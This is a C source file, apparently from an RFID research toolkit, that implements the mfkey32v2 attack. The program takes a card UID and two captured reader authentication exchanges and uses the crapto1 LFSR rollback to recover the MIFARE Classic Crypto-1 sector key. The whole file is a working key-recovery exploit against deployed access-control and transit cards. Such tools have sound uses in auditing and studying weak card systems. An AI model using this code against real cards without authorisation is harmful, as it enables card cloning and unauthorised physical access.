tools/mfc/card_reader/mfkey32v2.c

   1 #define __STDC_FORMAT_MACROS
   2 #include <inttypes.h>
   3 #include <stdbool.h>
   4 #include <stdio.h>
   5 #include <stdlib.h>
   6 #include "crapto1/crapto1.h"
   7 #include "util_posix.h"
   8
   9 int main(int argc, char *argv[]) {
  10     struct Crypto1State *s, *t;
  11     uint64_t key;     // recovered key
  12     uint32_t uid;     // serial number
  13     uint32_t nt0;      // tag challenge first
  14     uint32_t nt1;      // tag challenge second
  15     uint32_t nr0_enc; // first encrypted reader challenge
  16     uint32_t ar0_enc; // first encrypted reader response
  17     uint32_t nr1_enc; // second encrypted reader challenge
  18     uint32_t ar1_enc; // second encrypted reader response
  19     uint32_t ks2_0;   // first keystream used to encrypt reader response
  20     uint32_t ks2_1;   // second keystream used to encrypt reader response
  21
  22     printf("MIFARE Classic key recovery - based 32 bits of keystream  VERSION2\n");
  23     printf("Recover key from two 32-bit reader authentication answers only\n");
  24     printf("This version implements Moebius two different nonce solution (like the supercard)\n\n");
  25
  26     if (argc < 8) {
  27         printf("syntax: %s <uid> <nt_0> <{nr_0}> <{ar_0}> <nt_1> <{nr_1}> <{ar_1}>\n\n", argv[0]);
  28         return 1;
  29     }
  30
  31     sscanf(argv[1], "%x", &uid);
  32     sscanf(argv[2], "%x", &nt0);
  33     sscanf(argv[3], "%x", &nr0_enc);
  34     sscanf(argv[4], "%x", &ar0_enc);
  35     sscanf(argv[5], "%x", &nt1);
  36     sscanf(argv[6], "%x", &nr1_enc);
  37     sscanf(argv[7], "%x", &ar1_enc);
  38
  39     printf("Recovering key for:\n");
  40     printf("    uid: %08x\n", uid);
  41     printf("   nt_0: %08x\n", nt0);
  42     printf(" {nr_0}: %08x\n", nr0_enc);
  43     printf(" {ar_0}: %08x\n", ar0_enc);
  44     printf("   nt_1: %08x\n", nt1);
  45     printf(" {nr_1}: %08x\n", nr1_enc);
  46     printf(" {ar_1}: %08x\n", ar1_enc);
  47
  48     // Generate lfsr successors of the tag challenge
  49     printf("\nLFSR successors of the tag challenges:\n");
  50     uint32_t ar0 = prng_successor(nt0, 64);
  51     uint32_t ar1 = prng_successor(nt1, 64);
  52
  53     printf("   ar_0: %08x\n", ar0);
  54     printf("   ar_1: %08x\n", ar1);
  55
  56     // Extract the keystream from the messages
  57     printf("\nKeystreams used to generate {ar_0} and {ar_1}:\n");
  58     ks2_0 = ar0_enc ^ ar0;
  59     printf("  ks2_0: %08x\n", ks2_0);
  60     ks2_1 = ar1_enc ^ ar1;
  61     printf("  ks2_1: %08x\n", ks2_1);
  62
  63     s = lfsr_recovery32(ks2_0, 0);
  64
  65     for (t = s; t->odd | t->even; ++t) {
  66         lfsr_rollback_word(t, 0, 0);
  67         lfsr_rollback_word(t, nr0_enc, 1);
  68         lfsr_rollback_word(t, uid ^ nt0, 0);
  69         crypto1_get_lfsr(t, &key);
  70
  71         crypto1_word(t, uid ^ nt1, 0);
  72         crypto1_word(t, nr1_enc, 1);
  73         if (ks2_1 == crypto1_word(t, 0, 0)) {
  74             printf("\nFound Key: [%012" PRIx64 "]\n\n", key);
  75             break;
  76         }
  77     }
  78     free(s);
  79     return 0;
  80 }